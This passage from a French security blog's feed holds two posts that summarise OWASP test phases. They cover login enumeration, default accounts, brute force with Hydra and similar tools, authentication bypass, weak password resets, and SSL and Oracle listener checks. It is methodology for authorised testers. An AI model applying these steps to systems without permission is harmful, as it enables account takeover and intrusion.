est mal configuré.&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;1 - Avant-propos&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;Pour rappel, la méthodologie d'OWASP décompose les tests d'intrusion en :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;une phase de tests dits passifs (collecte d'informations) ;&lt;/li&gt;&lt;li&gt;neuf phases de tests actifs.&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;C'est la deuxième des 9 phases de tests actifs que nous étudions ici, appelé &lt;span style="font-style: italic;"&gt;Authentification Testing&lt;/span&gt; (&lt;span style="font-weight: bold;"&gt;AT&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;).&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;2 - Phase de tests actifs 2 : tests sur le système d'authentification&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;u&gt;2.1 - AT-001 : Transport des credentials un tunnel chiffré&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;&lt;div style="text-align: justify;"&gt;Lorsque l'authentification a lieu via Internet (e. g. portail WEB), alors il faut nous assurer que les données sensibles que sont le login et le mot de passe sont transmises de manière sécurisée entre le client et le serveur. Puis nous pouvons lancer le test suivant :&lt;br /&gt;1/ Lancer un proxy local ;&lt;br /&gt;2/ Effectuer une authentification via le formulaire WEB ;&lt;br /&gt;3/ Est-ce que la &lt;span style="font-weight: bold;"&gt;méthode &lt;/span&gt;"&lt;span style="font-family:courier new;"&gt;GET&lt;/span&gt;" ou "&lt;span style="font-family:courier new;"&gt;POST&lt;/span&gt;" qui est utilisé ? (&lt;span style="font-family:courier new;"&gt;GET &lt;/span&gt;ne devrait pas être utilisé !) ;&lt;br /&gt;4/ Est-ce que l'authentification se fait bien via &lt;span style="font-weight: bold;font-family:courier new;" &gt;HTTPS&lt;/span&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2.2 - AT-002 : Énumération d'utilisateurs&lt;br /&gt;&lt;/u&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Avant de chercher le mot de passe, nous avons besoin de connaître le login. A travers un page d'authentification, nous pouvons lancer plusieurs tests pour trouver cette information.&lt;br /&gt;&lt;br /&gt;1/ Analyser les &lt;span style="font-weight: bold;"&gt;messages et codes d'erreur&lt;/span&gt; issus des réponses HTTP en essayant plusieurs scénarios (login valide + mot de passe valide / login valide + mot de passe faux / login et mot de passe faux). Le message doit être le même que ce soit le login et/ou le mot de passe qui est(sont) faux.&lt;br /&gt;&lt;br /&gt;Par exemple, le site suivant renvoie cette fenêtre quand le login est faux :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_BhVyBIyY5_8/SWfZVTKxlhI/AAAAAAAAAcA/8fdxXyi_LW0/s1600-h/login_faux.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 109px;" src="http://4.bp.blogspot.com/_BhVyBIyY5_8/SWfZVTKxlhI/AAAAAAAAAcA/8fdxXyi_LW0/s400/login_faux.PNG" alt="" id="BLOGGER_PHOTO_ID_5289435247315883538" border="0" /&gt;&lt;/a&gt;Alors que si seul le mot de passe est faux, nous avons cette autre fenêtre :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_BhVyBIyY5_8/SWfZo2vKAhI/AAAAAAAAAcI/D1r2IqrBceA/s1600-h/pass_faux.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 90px;" src="http://3.bp.blogspot.com/_BhVyBIyY5_8/SWfZo2vKAhI/AAAAAAAAAcI/D1r2IqrBceA/s400/pass_faux.PNG" alt="" id="BLOGGER_PHOTO_ID_5289435583281234450" border="0" /&gt;&lt;/a&gt;Nous venons de trouver un login !&lt;br /&gt;&lt;br /&gt;2/ Obtient-on l'&lt;span style="font-weight: bold;"&gt;erreur 403&lt;/span&gt; à la place de l'erreur 404 ? (Alors la page existe pour cet utilisateur mais n'est pas accessible).&lt;br /&gt;&lt;br /&gt;3/ Le &lt;span style="font-weight: bold;"&gt;titre &lt;/span&gt;de la page WEB est-il modifié selon que l'authentification a réussi ou non ?&lt;br /&gt;&lt;br /&gt;4/ Etudier les pages et formulaires proposés pour le &lt;span style="font-weight: bold;"&gt;recouvrement &lt;/span&gt;de mots de passe.&lt;br /&gt;&lt;br /&gt;5/ Obtient-on une &lt;span style="font-weight: bold;"&gt;erreur 404 &lt;/span&gt;(éventuellement verbeuse) au lieu d'une erreur 200 générique ?&lt;br /&gt;&lt;br /&gt;6/ Peut-on &lt;span style="font-weight: bold;"&gt;deviner &lt;/span&gt;les logins ? (à partir des logins de tests, des logins déjà trouvés, selon un schéma particulier ? etc.).&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2.3 - AT-003 : Compte utilisateur par défaut ou pouvant être devinés&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;&lt;div style="text-align: justify;"&gt;Que ce soit sur un serveur ou un équipement réseau, un mot de passe par défaut peut être présent si l'administrateur a omis de le modifier ou s'il s'agit d'un compte non utilisé et toujours avec son mot de passe par défaut. Nous pouvons aussi trouver des logins simples qui ont servi de test la plupart du temps et n'ont pas été supprimés.&lt;br /&gt;&lt;br /&gt;1/ Tester les &lt;span style="font-weight: bold;"&gt;logins communs &lt;/span&gt;(ex : "&lt;span style="font-family:courier new;"&gt;admin&lt;/span&gt;" / "&lt;span style="font-family:courier new;"&gt;test&lt;/span&gt;" / ...)&lt;br /&gt;&lt;br /&gt;2/ Tenter de trouver un login grâce au &lt;span style="font-weight: bold;"&gt;nom &lt;/span&gt;de l'application ou de la société cible (ex : &lt;span style="font-family:courier new;"&gt;C0mpanie123&lt;/span&gt;).&lt;br /&gt;&lt;br /&gt;3/ Utiliser le nom des &lt;span style="font-weight: bold;"&gt;contacts &lt;/span&gt;de la mission de tests d'intrusion pour en trouver les logins (ex : &lt;span style="font-family:courier new;"&gt;pmartin &lt;/span&gt;/ &lt;span style="font-family:courier new;"&gt;pmartin1 &lt;/span&gt;/ &lt;span style="font-family:courier new;"&gt;martin &lt;/span&gt;/ ... pour Paul MARTIN).&lt;br /&gt;&lt;br /&gt;4/ Utiliser la &lt;span style="font-weight: bold;"&gt;page d'inscription&lt;/span&gt; pour obtenir des informations sur le format du login (ex : adresse mail / initiales / prénom + chiffre /...).&lt;br /&gt;&lt;br /&gt;5/ Essayer un mot de passe blanc. Hé oui, ça marche parfois !&lt;br /&gt;&lt;br /&gt;6/ Regarder le code &lt;span style="font-weight: bold;"&gt;javascript &lt;/span&gt;et le code &lt;span style="font-weight: bold;"&gt;source &lt;/span&gt;pour obtenir des informations sur le login.&lt;br /&gt;&lt;br /&gt;7/ Trouver des informations laissées inintentionnellement en clair dans un &lt;span style="font-weight: bold;"&gt;fichier de sauvegarde &lt;/span&gt;ou un &lt;span style="font-weight: bold;"&gt;commentaire &lt;/span&gt;de code.&lt;br /&gt;&lt;br /&gt;8/ Trouver le &lt;span style="font-weight: bold;"&gt;schéma de login &lt;/span&gt;(ex : nom + 1 caractère + 2 chiffres). Pour trouver ce schéma, créer un maximum de compte.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2.4 - AT-004 : Attaque de type brute-force&lt;br /&gt;&lt;/u&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Si aucun seuil n'est appliqué au compte, alors il est possible d'utiliser une attaque de type brute-force qui consistera à essayer tous les mots d'une liste (e. g. dictionnaire)  ou des combinaison de caractères.&lt;br /&gt;&lt;br /&gt;1/ Tout d'abord, quel est le &lt;span style="font-weight: bold;"&gt;mode d'authentification &lt;/span&gt;? (&lt;span style="font-style: italic;"&gt;Basic&lt;/span&gt; ? &lt;span style="font-style: italic;"&gt;Digest&lt;/span&gt; ? &lt;span style="font-style: italic;"&gt;HTTP-Form&lt;/span&gt; ?)&lt;br /&gt;&lt;br /&gt;2/ Tenter de &lt;span style="font-weight: bold;"&gt;cracker &lt;/span&gt;le mot de passe à l'aide des outils &lt;span style="font-style: italic;"&gt;JTR&lt;/span&gt;, &lt;span style="font-style: italic;"&gt;Hydra&lt;/span&gt;, &lt;span style="font-style: italic;"&gt;Brutus&lt;/span&gt;, &lt;span style="font-style: italic;"&gt;Base64 decoder&lt;/span&gt;, ...&lt;br /&gt;Un exemple est disponible sur un &lt;a href="http://mission-security.blogspot.com/2008_06_01_archive.html"&gt;post précédent&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_BhVyBIyY5_8/SWffG-I3LmI/AAAAAAAAAcQ/_PWH5esZteQ/s1600-h/hydra.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 59px;" src="http://4.bp.blogspot.com/_BhVyBIyY5_8/SWffG-I3LmI/AAAAAAAAAcQ/_PWH5esZteQ/s400/hydra.JPG" alt="" id="BLOGGER_PHOTO_ID_5289441598222315106" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;3/ En boîte grise ou si vous arriver à obtenir les hashes des mots de passe, vous devrez auditer la force du secret grâce aux &lt;span style="font-style: italic;"&gt;rainbow tables&lt;/span&gt; et l'outil &lt;span style="font-style: italic;"&gt;rcrack&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;u&gt;2.5 - AT-005 : Contourner l'authentification&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;1/ La page est parfois directement accessible si nous connaissons la &lt;span style="font-weight: bold;"&gt;bonne URL&lt;/span&gt;... Pour la trouver, il nous faudra manuellement modifier l'URL ou la trouver grâce à un scanner de site WEB.&lt;br /&gt;&lt;br /&gt;2/ Les ressources protégées peuvent être accessible si nous modifions les &lt;span style="font-weight: bold;"&gt;paramètres&lt;/span&gt; contenus dans l'URL. (ex : remplacer &lt;span style="font-family:courier new;"&gt;access=no&lt;/span&gt; par &lt;span style="font-family:courier new;"&gt;access=yes&lt;/span&gt;).&lt;br /&gt;&lt;br /&gt;3/ L'&lt;span style="font-weight: bold;"&gt;ID de session&lt;/span&gt; peut être trouvé. Ce cas devrait être testé en générant un grand nombre de session. Peut-on trouver une logique entre chaque ID ?&lt;br /&gt;&lt;br /&gt;4/ Les champs d'authentification acceptent-ils une &lt;span style="font-weight: bold;"&gt;injection SQL&lt;/span&gt; ?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2.6 - AT-006 : Mot de passe mémorisé et fonction de reset&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;Il existe toujours une solution de secours au cas où l'utilisateur aurait perdu son mot de passe. Certaines solutions sont plus vulnérables que d'autres. En voici plusieurs scénarios.&lt;br /&gt;&lt;br /&gt;1/ &lt;span style="font-style: italic;"&gt;Peut-on directement deviner la réponse ? &lt;/span&gt; Imaginons que &lt;span style="font-weight: bold;"&gt;plusieurs questions &lt;/span&gt;sont proposées (parmi plusieurs questions secrètes auxquelles un utilisateur a répondu lors de son inscription). Dans ce cas, il faut choisir la question la plus facile :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;celle dont la réponse peut se trouver à l'aide d'un moteur de recherche ;&lt;/li&gt;&lt;li&gt;ou celle qui peut reposer sur des statistiques ;&lt;/li&gt;&lt;li&gt;ou celle dont la réponse fait partie d'un ensemble limité (ex : marque d'une voiture) ;&lt;/li&gt;&lt;li&gt;...&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;2/ &lt;span style="font-style: italic;"&gt;Quelles sont les moyens qui sont à notre dispositions ?&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Un nombre d'erreur limité est-il configuré pour nos réponses ? &lt;/li&gt;&lt;li&gt;Comment est réinitialisé le mot de passe ? (via l'envoi d'un email ? via des réponses sur le profil de l'utilisateur ? via des questions secrètes ?).&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;3/&lt;span style="font-style: italic;"&gt;Existe-t-il un autre moyen de trouver le mot de passe ?&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Est-il enregistré dans le cache du navigateur ?&lt;/li&gt;&lt;li&gt;Est-il transmis via un cookie persistant ?&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_BhVyBIyY5_8/SWpZ4FukO2I/AAAAAAAAAcY/e_nDObdajWQ/s1600-h/cache_navigateur.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 511px; height: 23px;" src="http://1.bp.blogspot.com/_BhVyBIyY5_8/SWpZ4FukO2I/AAAAAAAAAcY/e_nDObdajWQ/s400/cache_navigateur.JPG" alt="" id="BLOGGER_PHOTO_ID_5290139532445104994" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;u&gt;2.7 - AT-007 : Déconnexion et gestion du cache utilisé par le navigateur&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;Si une session est mal configurée, elle ne se terminera pas correctement. Alors, les informations sensibles peuvent transiter ou être stockées de manière non sécurisée car non effacées grâce à une déconnexion "propre".&lt;br /&gt;&lt;br /&gt;1/ &lt;span style="font-style: italic;"&gt;La &lt;span style="font-weight: bold;"&gt;fonction de déconnexion&lt;/span&gt; est-elle correctement implémentée ?&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Existe-t-il un bouton de déconnexion ? Bien visible ?&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_BhVyBIyY5_8/SWpbw4U6vWI/AAAAAAAAAcg/6zXOFQFpsOc/s1600-h/no_script.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 122px; height: 91px;" src="http://2.bp.blogspot.com/_BhVyBIyY5_8/SWpbw4U6vWI/AAAAAAAAAcg/6zXOFQFpsOc/s400/no_script.png" alt="" id="BLOGGER_PHOTO_ID_5290141607612038498" border="0" /&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Les cookies de session sont-ils correctement effacés ?&lt;/li&gt;&lt;li&gt;L'utilisation d'un navigateur différent permet-il de dévoiler certaines informations ?&lt;/li&gt;&lt;li&gt;Le bouton "&lt;span style="font-style: italic;"&gt;retour&lt;/span&gt;" du navigateur permet-il de revenir sur la page sensible ?&lt;/li&gt;&lt;li&gt;Que se passe-t-il quand on empêche l'exécution de script ? (javascript)?&lt;/li&gt;&lt;li&gt;Est-il possible de configurer manuellement des cookies qui fonctionnent ?&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;2/ &lt;span style="font-style: italic;"&gt;Comment est configuré la fonction de &lt;span style="font-weight: bold;"&gt;timeout&lt;/span&gt; ?&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Existe-t-il une fonction de timeout ?&lt;/li&gt;&lt;li&gt;Les tokens sont-ils détruits une fois cette limite de temps passée ?&lt;/li&gt;&lt;li&gt;Les tokens générés sont-ils réutilisables ? &lt;span id="spellcheckMessage"&gt;&lt;/span&gt;(rejouer un token ...).&lt;/li&gt;&lt;/ul&gt;3/ &lt;span style="font-style: italic;"&gt;Pages en cache&lt;/span&gt;&lt;br /&gt;A travers un proxy, regarder les requêtes HTTP qui sont lancées :&lt;br /&gt;&lt;blockquote&gt;pragma: no-cache&lt;/blockquote&gt;&lt;br /&gt;Regarder aussi au niveau HTML :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_BhVyBIyY5_8/SWp3Gugvp6I/AAAAAAAAAco/weYJPHDtTxY/s1600-h/no-cache.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 24px;" src="http://2.bp.blogspot.com/_BhVyBIyY5_8/SWp3Gugvp6I/AAAAAAAAAco/weYJPHDtTxY/s400/no-cache.JPG" alt="" id="BLOGGER_PHOTO_ID_5290171669748361122" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2.8 - AT-008 : CAPTCHA&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;CAPTCHA (pour &lt;span style="font-style: italic;"&gt;Completely Automated Public Turing test to tell Computers and Humans Apart&lt;/span&gt;) est un système d'authentification basé sur le challenge-réponse. S'il est normalement solide, il peut être déjoué grâce à des défauts d'implémentation.&lt;br /&gt;&lt;br /&gt;1/ &lt;span style="font-style: italic;"&gt;Phase de &lt;span style="font-weight: bold;"&gt;reconnaissance &lt;/span&gt;du CAPTCHA&lt;/span&gt; :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Quels sont les paramètres utilisés ?&lt;/li&gt;&lt;li&gt;Peut-on effectuer des attaques de rejeu ? (en utilisant une ancienne valeur d'un CAPTCHA décodé couplé à un ancien ID d'une session ou en le couplant à un ancien ID d'un CAPTCHA décodé).&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;2/ Un CAPTCHA similaire a-t-il &lt;span style="font-weight: bold;"&gt;déjà été cassé &lt;/span&gt;?&lt;br /&gt;&lt;br /&gt;3/ Le &lt;span style="font-weight: bold;"&gt;nombre de réponse &lt;/span&gt;est-il limité ? La réponse elle-même peut-elle être &lt;span style="font-weight: bold;"&gt;devinée&lt;/span&gt; ?&lt;br /&gt;&lt;br /&gt;4/En boîte grise, des tests supplémentaires peuvent être effectués :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Des &lt;span style="font-weight: bold;"&gt;vulnérabilités&lt;/span&gt; connues existent-elles ?&lt;/li&gt;&lt;li&gt;Les &lt;span style="font-weight: bold;"&gt;algorithmes&lt;/span&gt; de chiffrement et de hashages sont-ils suffisamment robustes ?&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;u&gt;2.9 - AT-009 : MFAS&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;MFAS (pour &lt;span style="font-style: italic;"&gt;Multiple Factors Authentication System) &lt;/span&gt;est aussi appelé authentification forte. Le pentester confronté à ce genre de situation aura certainement plus de difficulté à le contourner. Cependant, certains sont plus robustes que d'autres et la plupart du temps, ils ne protègent pas contre tous les types d'attaques.&lt;br /&gt;&lt;br /&gt;1/ Dans cette section, le but est de s'assurer que le &lt;span style="font-style: italic;"&gt;MFAS &lt;/span&gt;permet bien de protéger les ressources contre les &lt;span style="font-weight: bold;"&gt;menaces &lt;/span&gt;suivantes :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Vols des credentials ;&lt;/li&gt;&lt;li&gt;Mots de passe faibles ;&lt;/li&gt;&lt;li&gt;Attaques basées sur la session (rejeu / fixation d'une session) ;&lt;/li&gt;&lt;li&gt;Chevaux de troie et logiciels malicieux ;&lt;/li&gt;&lt;li&gt;Réutilisation des mots de passe.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;2/ Mener les tests en fonction des &lt;span style="font-weight: bold;"&gt;méthodes d'authentification &lt;/span&gt;rencontrés :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;OTP ;&lt;/li&gt;&lt;li&gt;Carte virtuelle ;&lt;/li&gt;&lt;li&gt;Clé USB ou carte à puce avec certificat ;&lt;/li&gt;&lt;li&gt;OTP généré aléatoirement et transmis via SMS.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;u&gt;2.10 - AT-010 : Race Conditions&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;&lt;div style="text-align: justify;"&gt;Les races conditions consistent à croiser plusieurs actions simultanément pour provoquer un comportement inattendu. Par exemple, effectuer deux retraits d'argent simultanément entre deux même comptes.&lt;br /&gt;&lt;/div&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;1/Pour toutes les actions permises pour l'application testée, essayer de &lt;span style="font-weight: bold;"&gt;lancer des actions simultanées&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;2/ Le résultat obtenu est-il conforme au &lt;span style="font-weight: bold;"&gt;comportement attendu &lt;/span&gt;?&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;La suite au prochain épisode ...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-6803353854383047069?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/6803353854383047069/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=6803353854383047069' title='3 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/6803353854383047069'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/6803353854383047069'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2009/01/standard-owasp-episode-3.html' title='[STANDARD] OWASP - Episode 3'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_BhVyBIyY5_8/SWfZVTKxlhI/AAAAAAAAAcA/8fdxXyi_LW0/s72-c/login_faux.PNG' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-6860267342367047446</id><published>2009-01-02T08:32:00.000-08:00</published><updated>2009-01-09T14:19:29.806-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Theory'/><title type='text'>[STANDARD] OWASP - Episode 2</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;Suite du premier épisode qui traitait de la collecte d'information. Ici, nous abordons le premier chapitre des tests actifs. Plus précisément, ils concernent les tests sur l'infrastructure environnante et l'application auditée elle-même.&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;1 - Avant-propos&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;Pour rappel, la méthodologie d'OWASP décompose les tests d'intrusion en :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;une phase de tests dits passifs (collecte d'informations) ;&lt;/li&gt;&lt;li&gt;neuf phases de tests actifs.&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;C'est la première des 9 phases de tests actifs que nous étudions ici, appelé &lt;span style="font-style: italic;"&gt;Configuration Management&lt;/span&gt; (&lt;span style="font-weight: bold;"&gt;CM&lt;/span&gt;).&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;2 - Phase de tests actifs 1 : tests sur la configuration de l'infrastructure et de l'application&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;u&gt;2.1 - CM-001 : Tests sur les certificats, SSL/TLS&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Les certificats peuvent donner un sentiment de "fausse sécurité". Il est important alors de vérifier que les données sont transmises de manière sécurisée sans quoi un attaquant sera en mesure de récupérer les informations sensibles qui transitent. La démarche du test se déroule en trois axes :&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;1/ Quelle est la &lt;span style="font-weight: bold;"&gt;robustesse du chiffrement&lt;/span&gt; par défaut (taille de la clé suffisante ? Algorithme de chiffrement satisfaisant ? Algorithme de hashage existant et suffisant ?)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_BhVyBIyY5_8/SV5Fp2v_bZI/AAAAAAAAAbo/HcPcmqyc6Ys/s1600-h/certificat_natif.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 362px; height: 228px;" src="http://3.bp.blogspot.com/_BhVyBIyY5_8/SV5Fp2v_bZI/AAAAAAAAAbo/HcPcmqyc6Ys/s400/certificat_natif.JPG" alt="" id="BLOGGER_PHOTO_ID_5286739597953297810" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;2/ En parallèle, d'autres &lt;span style="font-weight: bold;"&gt;chiffrements, dits faibles&lt;/span&gt;, sont-ils autorisés ? SSLv2, connu pour être vulnérable aux attaques de type &lt;span style="font-style: italic;"&gt;Man-in-the-Middle&lt;/span&gt;, est-il permis ?&lt;br /&gt;&lt;blockquote&gt;openssl s_client -ssl2 -connect www.&lt;victime&gt;cible.com:443&lt;/victime&gt;&lt;/blockquote&gt;&lt;br /&gt;3/ Le &lt;span style="font-weight: bold;"&gt;certificat &lt;/span&gt;utilisé est-il valide ?&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Est-il auto-signé (non recommandé) ?&lt;/li&gt;&lt;li&gt;Est-il bien signé par une autorité reconnue (recommandé) ?&lt;/li&gt;&lt;li&gt;Est-il à jour (i.e. non expiré) ?&lt;/li&gt;&lt;li&gt;L'URL trouvé sur le certificat correspond-elle au site WEB ?&lt;/li&gt;&lt;/ul&gt;&lt;table border="1"&gt;&lt;br /&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;u&gt;A noter&lt;/u&gt; : la sécurité des certificats a déjà été abordé dans un post précédent [&lt;a href="http://mission-security.blogspot.com/2008/11/web-pentesting-ssl-capture-password.html"&gt;plus d'info&lt;/a&gt;, partie 2].&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2.2 - CM-002 : Tests sur le Listener d'Oracle&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;&lt;div style="text-align: justify;"&gt;Via le Listener d'Oracle, il est possible d'exécuter des commandes, voire de prendre la main sur le serveur. C'est pourquoi cette section a pour objectif de trouver une vulnérabilité sur ce serveur de base de données.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;1/ Identifier le &lt;span style="font-weight: bold;"&gt;service &lt;/span&gt;à l'aide de NMAP par exemple (par défaut, il s'agit des ports 1521, 2483 ou 2484).&lt;br /&gt;&lt;br /&gt;2/ &lt;span style="font-weight: bold;"&gt;Auditer &lt;/span&gt;le serveur Oracle avec l'outil de INTEGRIGY [&lt;a href="http://www.integrigy.com/security-resources/downloads/lsnrcheck-tool/view"&gt;info&lt;/a&gt;] [&lt;a href="http://www.integrigy.com/downloads/lsnrcheck.exe"&gt;télécharger&lt;/a&gt;].&lt;br /&gt;&lt;br /&gt;3/ Tester avec le&lt;span style="font-weight: bold;"&gt; client Oracle&lt;/span&gt; pour obtenir :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;des informations supplémentaires ; &lt;/li&gt;&lt;li&gt;la liste des comptes ;&lt;/li&gt;&lt;li&gt;trouver des procédures capables d'exécuter des commandes arbitraires.&lt;/li&gt;&lt;/ul&gt;4/ En boîte grise, vérifier la bonne &lt;span style="font-weight: bold;"&gt;configuration &lt;/span&gt;du fichier &lt;span style="font-family:courier new;"&gt;Listener.ora&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;table border="1"&gt;&lt;br /&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;u&gt;A noter&lt;/u&gt; : de nombreuses références et outils pour auditer un serveur Oracle sont disponibles [&lt;a href="http://www.petefinnigan.com/index.htm#"&gt;ici&lt;/a&gt;].&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2.3 - CM-003 : Audit de l'infrastructure&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;&lt;div style="text-align: justify;"&gt;Ce troisième point nous apportera une meilleure connaissance de l'architecture. Principalement, nous devrions avoir une meilleure vue sur les protections réseau employées.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;1/ Revue de l'&lt;span style="font-weight: bold;"&gt;architecture &lt;/span&gt;de l'application :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Avons-nous un pare-feu ? Si oui, l'isolation des éléments de l'architecture est-elle correctement configurée ?&lt;/li&gt;&lt;li&gt;Un reverse-proxy ?&lt;/li&gt;&lt;li&gt;Un répartiteur de charge ?&lt;/li&gt;&lt;li&gt;Une base de données ?&lt;/li&gt;&lt;li&gt;Un serveur d'authentification ?&lt;/li&gt;&lt;li&gt;Etc ...&lt;/li&gt;&lt;/ul&gt;2/ Existe-t-il des &lt;span 